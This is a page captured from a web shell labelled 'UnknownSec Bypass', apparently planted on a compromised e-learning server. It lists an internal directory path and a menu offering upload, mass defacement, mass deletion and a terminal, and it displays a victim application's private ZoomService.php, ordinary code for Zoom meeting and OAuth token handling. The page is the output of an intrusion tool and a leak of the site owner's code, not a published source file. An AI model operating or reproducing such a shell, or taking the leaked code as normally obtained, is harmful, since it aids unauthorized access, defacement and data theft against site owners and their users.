UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_8167adff8173
/
app
/
Services
/
Admin
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ZoomService.php
<?php namespace EstudioLMS\Services\Admin; use Firebase\JWT\JWT; class ZoomService { /** * @var ConfigurationServices */ private $configurationServices; /** * ZoomService constructor. * @param ConfigurationServices $configurationServices */ public function __construct( ConfigurationServices $configurationServices ) { $this->configurationServices = $configurationServices; } public function generateJWT () //Descontinuado da api ZOOM à partir de 08/09/2023 { $config = $this->configurationServices->configuration(); $key = $config->zoom_key; $secret = $config->zoom_secret; $token = array( "iss" => $key, "exp" => time() + 60 ); return JWT::encode($token, $secret); } public function generateOAuthToken () //Novo método { $config = $this->configurationServices->configuration(); $curl = curl_init(); $account_id = $config->zoom_account_id; $client_id = $config->zoom_key; $client_secret = $config->zoom_secret; $base = base64_encode($client_id.':'.$client_secret); curl_setopt_array($curl, array( CURLOPT_URL => 'https://zoom.us/oauth/token', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => 'grant_type=account_credentials&account_id='.$account_id, CURLOPT_HTTPHEADER => array( 'Authorization: Basic '.$base, ), )); $response = json_decode(curl_exec($curl)); curl_close($curl); return $response->access_token; } public function postMeetings($zoomUserId, $data) { $start_time = date_format(date_create($data['start_time']), 'c'); if($data['host_video'] == 1) { $host_video = 'true'; }else{ $host_video = 'false'; } if($data['participant_video'] == 1) { $participant_video = 'true'; }else{ $participant_video = 'false'; } if($data['zoom_mediador_ent'] == 1) { $zoom_mediador_ent = 'true'; }else{ $zoom_mediador_ent = 'false'; } $post = json_encode([ 'topic' => $data['topic'], 'type' => $data['type'], 'start_time' => $start_time, 'duration' => $data['duration'], //'timezone' => 'America/Sao_Paulo', 'password' => $data['password'], 'agenda' => $data['agenda'], //Habilitar em caso de recorrência /* 'recurrence' => [ //Se type for = 3 ou 8 'repeat_interval' => '0', 'weekly_days' => '', // 1 a 7 'monthly_day' => '1', 'monthly_week' => '1', 'monthly_week_day' => '1', // 1 a 7 'end_times' => '1', 'end_date_time' => '', ],*/ 'settings' => [ 'host_video' => $host_video, 'participant_video' => $participant_video, 'join_before_host' => $zoom_mediador_ent, 'audio' => $data['zoom_audio'], //'auto_recording' => 'none', //local, cloud, none ## Ativar gracação ? //'enforce_login' => '0', //Avaliar //'enforce_login_domains' => '', //Avaliar //'alternative_hosts' => '', //Avaliar ], ]); $ch = curl_init('https://api.zoom.us/v2/users/'.$zoomUserId.'/meetings'); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer ' . $this->generateOAuthToken(), 'Content-Type: application/json' )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $response = curl_exec($ch); $response = json_decode($response); return $response; } public function getUsers() { $ch = curl_init('https://api.zoom.us/v2/users'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer ' . $this->generateOAuthToken() )); $response = curl_exec($ch); $response = json_decode($response); return $response; } public function getMeetings($userid) { $ch = curl_init('https://api.zoom.us/v2/users/'.$userid.'/meetings'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer ' . $this->generateOAuthToken() )); $response = curl_exec($ch); $response = json_decode($response); return $response; } public function getMeetingDetails($meeting_id) { $ch = curl_init('https://api.zoom.us/v2/meetings/'.$meeting_id); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer ' . $this->generateOAuthToken() )); $response = curl_exec($ch); $response = json_decode($response); return $response; } public function deleteMeeting($meeting_id) { $ch = curl_init('https://api.zoom.us/v2/meetings/'.$meeting_id); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE"); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer ' . $this->generateOAuthToken() )); $response = curl_exec($ch); $response = json_decode($response); return $response; } public function updateMeeting($meeting_id, $data) { $start_time = date_format(date_create($data['start_time']), 'c'); if($data['host_video'] == 1) { $host_video = 'true'; }else{ $host_video = 'false'; } if($data['participant_video'] == 1) { $participant_video = 'true'; }else{ $participant_video = 'false'; } if($data['zoom_mediador_ent'] == 1) { $zoom_mediador_ent = 'true'; }else{ $zoom_mediador_ent = 'false'; } $post = json_encode([ 'topic' => $data['topic'], 'type' => $data['type'], 'start_time' => $start_time, 'duration' => $data['duration'], 'password' => $data['password'], 'agenda' => $data['agenda'], 'settings' => [ 'host_video' => $host_video, 'participant_video' => $participant_video, 'join_before_host' => $zoom_mediador_ent, 'audio' => $data['zoom_audio'], ], ]); $ch = curl_init('https://api.zoom.us/v2/meetings/'.$meeting_id); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PATCH"); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Bearer ' . $this->generateOAuthToken(), 'Content-Type: application/json' )); $response = curl_exec($ch); $response = json_decode($response); return $response; } }
Copyright © 2026 - UnknownSec